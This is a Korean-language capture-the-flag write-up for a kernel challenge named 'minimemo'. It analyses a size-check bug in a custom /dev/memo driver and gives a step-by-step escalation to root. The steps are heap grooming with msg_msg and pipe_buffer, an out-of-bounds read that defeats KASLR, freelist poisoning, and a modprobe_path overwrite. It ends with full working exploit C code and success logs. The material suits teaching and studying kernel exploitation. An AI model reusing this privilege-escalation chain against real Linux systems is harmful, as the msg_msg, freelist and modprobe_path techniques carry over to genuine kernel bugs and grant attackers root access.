minimemo

취약점 분석

1. CMD_EDIT의 잘못된 크기 검사로 인한 1~3바이트 힙 오버플로

note_t 전체 크기는 id 4바이트와 data 20바이트를 합쳐 24바이트이다. 그러나 실제 복사 대상은 20바이트인 note.data이다.

module_ioctl()CMD_EDIT 처리에서는 req.sizesizeof(note_t)와 비교한다. 따라서 21~23바이트의 복사가 허용되고, note.data 바로 뒤의 notelist_t.fd가 최대 3바이트까지 덮인다.

#define NOTE_SIZE sizeof(note_t)
 
typedef struct {
    int id;
    char data[20];
} note_t;
 
typedef struct notelist_t {
    note_t note;
    struct notelist_t *fd;
    struct notelist_t *bk;
} notelist_t;
 
/* CMD_EDIT */
if (req.size < 0 || req.size >= NOTE_SIZE)
    break;
 
memcpy(cur->note.data, req.data, req.size);

올바른 검사는 req.size > sizeof(cur->note.data)인지 확인해야 한다.

if (req.size < 0 || req.size > sizeof(cur->note.data))
    break;

2. request.id를 이용한 fd 포인터의 하위 1바이트 변조

request_t에서는 data[20] 바로 뒤에 id가 있다. 반면 notelist_t에서는 note.data[20] 바로 뒤에 fd가 있다.

typedef struct {
    char data[20]; /* +0x00 */
    int id;        /* +0x14 */
    int size;      /* +0x18 */
} request_t;
 
typedef struct notelist_t {
    int id;                 /* +0x00 */
    char data[20];          /* +0x04 */
    struct notelist_t *fd;  /* +0x18 */
    struct notelist_t *bk;  /* +0x20 */
} notelist_t;

req.size == 21이면 다음과 같이 21번째 바이트가 복사된다.

source:      req.data[20] == request.id의 최하위 바이트
destination: note.data[20] == notelist_t.fd의 최하위 바이트

결과적으로 fd는 다음 형태로 변조된다.

new_fd = (old_fd & ~0xffUL) | (req.id & 0xff);

CMD_EDIT는 연결 리스트를 cur = cur->fd로 순회한다. 따라서 fd를 다른 kmalloc-64 객체 내부로 이동시키면 그 메모리를 가짜 notelist_t로 해석하게 만들 수 있다.

이 익스플로잇에서는 ID의 하위 바이트가 0xd4인 메모를 찾는다. kmalloc-64 객체가 ...c0에서 시작할 경우 msg_msg + 0x14의 주소가 ...d4가 되기 때문이다.

msg_msg 시작 주소:  ...c0
가짜 note 주소:     ...d4 = msg_msg + 0x14

이는 0xd4 자체가 고정된 취약점 조건이라는 뜻은 아니다. 목표로 삼은 msg_msg + 0x14 주소의 하위 바이트가 0xd4이므로 선택한 값이다.

Exploit 과정

Step 1: kmalloc-64 힙 배치와 메모 ID 선택

notelist_t의 크기는 0x28이므로 kmalloc-64에서 할당된다. 작은 메시지를 담는 msg_msg와 한 슬롯짜리 pipe_buffer 배열도 같은 캐시에서 할당되도록 크기를 맞춘다.

먼저 메시지 큐 네 개를 만들고, ID 하위 바이트가 0xd4인 메모가 나올 때까지 할당한다. 선택된 메모에 21바이트를 쓰면 fd의 최하위 바이트가 0xd4로 바뀐다.

uint64_t qid[4] = {0};
for (int i = 0; i < 4; i++)
    qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
 
char payload[0x14] = {0x41};
int id;
 
while (1) {
    id = create_memo();
    if (id && (id & 0xff) == 0xd4) {
        edit_memo(id, payload, 0x15);
        break;
    }
}

선택되지 않은 메모를 삭제하지 않는 이유는 fd의 상위 7바이트가 가리키는 힙 영역을 유지하고, 이후 할당이 같은 kmalloc-64 슬랩에 연속적으로 배치될 가능성을 높이기 위해서다. 중간 객체를 삭제하면 freelist 재사용으로 배치가 달라질 수 있다.

Step 2: msg_msg + 0x14를 가짜 notelist_t로 사용

사용한 메시지의 실제 텍스트 길이는 0x10이다. struct msg_msg 헤더 0x30바이트를 포함하면 총 크기가 0x40이므로 kmalloc-64 객체 하나에 들어간다.

struct msg_buf {
    long mtype;
    char mtext[0x40 - 0x30];
};
 
struct msg_buf msg = {0};
msg.mtype = 1;
memset(msg.mtext, 0x42, sizeof(msg.mtext));
 
for (int i = 0; i < 4; i++)
    msgsnd(qid[i], &msg, sizeof(msg.mtext), 0);

64비트 커널의 msg_msg 배치는 다음과 같다.

+0x00  struct list_head m_list
+0x10  long             m_type
+0x18  size_t           m_ts
+0x20  struct msg_msg  *next
+0x28  void            *security
+0x30  message text

msg_msg + 0x14notelist_t로 해석하면 다음 필드가 겹친다.

fake note.id    = msg_msg.m_type의 상위 4바이트 = 0
fake note.data  = msg_msg + 0x18
fake note.data[0:8] = msg_msg.m_ts

따라서 edit_memo(0, payload, 8)은 가짜 메모를 찾아 m_ts0x100으로 변경한다.

memset(payload, 0, sizeof(payload));
*(uint64_t *)payload = 0x100;
edit_memo(0, payload, 0x8);

Step 3: pipe_buffer 스프레이

파이프 크기를 한 페이지로 설정하면 한 개의 pipe_buffer를 담는 배열이 만들어진다. 이 환경의 struct pipe_buffer 크기는 0x28이므로 배열도 kmalloc-64에서 할당된다.

int pipefd[4][2];
 
for (int i = 0; i < 4; i++) {
    pipe(pipefd[i]);
    fcntl(pipefd[i][1], F_SETPIPE_SZ, 0x1000);
    write(pipefd[i][1], "CCCC", 4);
}

파이프에 데이터를 쓰면 pipe_buffer.ops에 커널 텍스트 영역의 anon_pipe_buf_ops 주소가 저장된다.

struct pipe_buffer {
    struct page *page;                         /* +0x00 */
    unsigned int offset, len;                 /* +0x08 */
    const struct pipe_buf_operations *ops;    /* +0x10 */
    unsigned int flags;                       /* +0x18 */
    unsigned long private;                    /* +0x20 */
};

Step 4: 변조된 m_ts를 통한 OOB read와 KASLR 우회

정상 메시지의 길이는 0x10이지만 변조된 메시지는 길이가 0x100으로 인식된다. msgrcv()msg_msg.mtext부터 0x100바이트를 복사하므로, 메시지 객체 뒤에 놓인 다른 kmalloc-64 객체와 pipe_buffer까지 읽는다.

struct msg_recv_buf {
    long mtype;
    char mtext[0x100 + 0x30];
};
 
struct msg_recv_buf msg_recv = {0};
 
for (int i = 0; i < 4; i++) {
    int ret = msgrcv(qid[i], &msg_recv,
                     sizeof(msg_recv.mtext), 0, 0);
 
    if (ret != 0x10) {
        hexdump(msg_recv.mtext, 0x100);
        break;
    }
}

실행 결과에서 정상 큐는 16, 변조된 큐는 256을 반환했다.

[+] msgrcv ret: 16
[+] msgrcv ret: 256

로컬 vmlinux 분석 결과 anon_pipe_buf_ops의 오프셋은 0xc10380이다. 유출 값의 하위 16비트가 0x0380인 커널 포인터를 찾아 커널 베이스를 계산한다.

uint64_t kbase = 0;
 
for (int i = 0; i < 0x100 / 8; i++) {
    uint64_t value = *(uint64_t *)(msg_recv.mtext + i * 8);
 
    if ((value & 0xffff) == 0x380) {
        kbase = value - 0xc10380;
        break;
    }
}

성공 로그에서는 다음 주소가 유출되었다.

anon_pipe_buf_ops = 0xffffffffb8610380
kernel base       = 0xffffffffb7a00000

modprobe_path의 정적 오프셋은 0xe367c0이므로 런타임 주소는 다음과 같다.

uint64_t modprobe_path = kbase + 0xe367c0;
modprobe_path = 0xffffffffb88367c0

Step 5: 해제된 msg_msg의 freelist 포인터 변조

msgrcv()가 성공한 메시지 객체는 이미 해제된다. 나머지 큐도 IPC_RMID로 제거하여 msg_msg 객체들을 kmalloc-64 freelist에 넣는다.

for (int i = 0; i < 4; i++)
    msgctl(qid[i], IPC_RMID, NULL);

이 커널에서 해제된 kmalloc-64 객체의 freelist 포인터는 객체의 +0x20에 저장된다.

가짜 메모는 해제된 msg_msg + 0x14에 남아 있다. 가짜 메모의 datamsg_msg + 0x18부터 시작하므로 payload + 8은 정확히 해제 객체의 +0x20에 대응한다.

fake note 주소       = freed msg_msg + 0x14
fake note.data       = freed msg_msg + 0x18
fake note.data + 8   = freed msg_msg + 0x20
SLUB freelist next   = freed msg_msg + 0x20

이를 이용해 다음 할당 후보를 modprobe_path - 8로 바꾼다.

memset(payload, 0, sizeof(payload));
*(uint64_t *)(payload + 0x00) = 0x100;
*(uint64_t *)(payload + 0x08) = modprobe_path - 8;
edit_memo(0, payload, 0x10);

이 기법은 SLUB freelist hardening이 비활성화되어 freelist 포인터가 인코딩되지 않은 환경을 전제로 한다.

Step 6: modprobe_path 덮어쓰기

freelist 앞에 있는 객체들을 소비하면 note_new()가 조작된 주소 modprobe_path - 8을 반환한다.

notelist_t.note.data는 객체 시작으로부터 +4에 있다. 따라서 이 가짜 객체의 datamodprobe_path - 4에서 시작한다.

할당 주소           = modprobe_path - 8
note.data 주소      = modprobe_path - 4
"AAAA"              = 정렬용 패딩
"/tmp/ex\0"         = modprobe_path에 기록
for (int i = 0; i < 4; i++) {
    id = create_memo();
    edit_memo(id, "AAAA/tmp/ex\0", 0xc);
}

성공 로그에서는 변조된 메시지가 두 번째 큐에 있었다. 해제 순서가 다음과 같아 네 번째 할당이 조작된 주소에 도달한다.

freelist head -> qid[3] -> qid[2] -> corrupted qid[1] -> modprobe_path - 8

따라서 현재 네 번의 할당은 이 배치에 맞춘 값이다. 변조된 메시지 큐의 인덱스가 바뀌면 목표 주소까지 필요한 할당 횟수도 달라질 수 있어 현재 익스플로잇에는 확률 요소가 남아 있다.

Step 7: modprobe_path 실행과 플래그 획득

/tmp/ex에는 플래그를 읽는 셸 스크립트를 저장한다. 이후 알 수 없는 형식의 실행 파일 /tmp/dummy를 실행하면 커널의 모듈 자동 로드 경로가 사용되고, 변조된 modprobe_path/tmp/ex가 root 권한으로 실행된다.

system("echo -ne '#!/bin/sh\n"
       "cat /root/flag.txt > /tmp/flag.txt' > /tmp/ex");
system("chmod +x /tmp/ex");
 
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /tmp/flag.txt");

최종 실행 결과는 다음과 같다.

[+] overwrite modprobe_path with /tmp/ex success
/tmp/dummy: line 1: : not found
XXXX{sample_flag}

/tmp/dummy 관련 셸 오류는 커널의 모듈 요청 이후 사용자 공간 셸이 실행을 다시 시도하면서 출력된 것이다. 그 전에 /tmp/ex가 root 권한으로 실행되어 플래그 파일은 이미 생성되었다.

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
 
#define CMD_CREATE 0x11451401
#define CMD_EDIT 0x11451402
#define CMD_DELETE 0x11451403
 
struct object
{
    uint32_t id;
    uint8_t data[0x14];
    struct object *next;
    struct object *prev;
};
 
struct request
{
    char data[0x14];
    int32_t id;
    int32_t len;
};
 
uint64_t fd;
 
int create_memo()
{
    struct request req = {0};
    return ioctl(fd, CMD_CREATE, &req);
}
 
void delete_memo(int id)
{
    struct request req = {0};
    req.id = id;
    ioctl(fd, CMD_DELETE, &req);
}
 
int edit_memo(int id, char *data, int len)
{
    struct request req = {0};
    req.id = id;
    req.len = len;
    if (len > 0x14)
        len = 0x14;
    memcpy(req.data, data, len);
    return ioctl(fd, CMD_EDIT, &req);
}
 
struct msg_buf
{
    long mtype;
    char mtext[0x40 - 0x30];
};
 
struct msg_recv_buf
{
    long mtype;
    char mtext[0x100 + 0x30];
};
 
int main()
{
    important("happy hacking!");
 
    // open /dev/memo
    fd = open("/dev/memo", O_RDWR);
    if (fd < 0)
    {
        important("open /dev/memo failed");
        return -1;
    }
    info("open /dev/memo success, fd: %d", fd);
 
    // prepare msg_msg struct for spraying
    uint64_t qid[4] = {0};
    for (int i = 0; i < 4; i++)
    {
        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    }
    info("msgget success");
 
    // create memo until the id's last byte is 0xd4
    struct request req = {0};
    int id = 0;
    char payload[0x14] = {0x41};
 
    while (1)
    {
        id = create_memo();
        if ((id && (id & 0xff) == 0xd4))
        {
            info("create memo success, id: 0x%x", id);
            // 1 byte overflow to overwrite the memo->next pointer's one byte for making the next memo's id to be 0xd4
            edit_memo(id, payload, 0x15);
            break;
        }
    }
 
    // spray msg_msg struct
    struct msg_buf msg = {0};
    msg.mtype = 1;
    memset(msg.mtext, 0x42, sizeof(msg.mtext));
 
    for (int i = 0; i < 4; i++)
    {
        msgsnd(qid[i], &msg, sizeof(msg.mtext), 0);
    }
    info("spray msg_msg struct success");
 
    // spray pipe buffer
    int fd[0x4][2];
 
    for (int i = 0; i < 4; i++)
    {
        pipe(fd[i]);
        fcntl(fd[i][1], F_SETPIPE_SZ, 0x1000);
        write(fd[i][1], "CCCC", 4);
    }
 
    // change msg_msg's m_ts to 0x100
    memset(payload, 0, sizeof(payload));
    *(uint64_t *)payload = 0x100;
    edit_memo(0, payload, 0x8);
 
    // leak kernel address
    struct msg_recv_buf msg_recv = {0};
    for (int i = 0; i < 4; i++)
    {
        int ret = msgrcv(qid[i], &msg_recv, sizeof(msg_recv.mtext), 0, 0);
        info("msgrcv ret: %d", ret);
        if (ret != 0x10)
        {
            hexdump(msg_recv.mtext, 0x100);
            break;
        }
    }
 
    // calc kernel base address
    uint64_t kbase, modprobe_path = 0;
    for (int i = 0; i < 0x100 / 8; i++)
    {
        if ((*(uint64_t *)(msg_recv.mtext + i * 8) & 0xffff) == 0x380)
        {
            kbase = *(uint64_t *)(msg_recv.mtext + i * 8) - (0xffffffff81c10380 - 0xffffffff81000000);
            info("kernel base: 0x%lx", kbase);
            break;
        }
    }
 
    modprobe_path = kbase + (0xffffffff9d4367c0 - 0xffffffff9c600000);
    info("modprobe_path: 0x%lx", modprobe_path);
 
    // free the msg_msg struct
    for (int i = 0; i < 4; i++)
    {
        msgctl(qid[i], IPC_RMID, NULL);
    }
    info("free msg_msg struct success");
 
    // modify freelist next pointer to modprobe_path -8
    memset(payload, 0, sizeof(payload));
    *(uint64_t *)(payload) = 0x100;
    *(uint64_t *)(payload + 8) = modprobe_path - 8;
    edit_memo(0, payload, 0x10);
    info("modify freelist next pointer to modprobe_path - 8 success");
 
    // create a new note to get a new memo object at modprobe_path -8
    for (int i = 0; i < 4; i++)
    {
        id = create_memo();
        edit_memo(id, "AAAA/tmp/ex\0", 0xc);
    }
    info("overwrite modprobe_path with /tmp/ex success");
 
    // getchar();
 
    // set up modprobe_path overwrite
    system("echo -ne '#!/bin/sh\ncat /root/flag.txt > /tmp/flag.txt' > /tmp/ex");
    system("chmod +x /tmp/ex");
 
    // trigger modprobe_path
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");
 
    system("cat /tmp/flag.txt");
 
    return 0;
}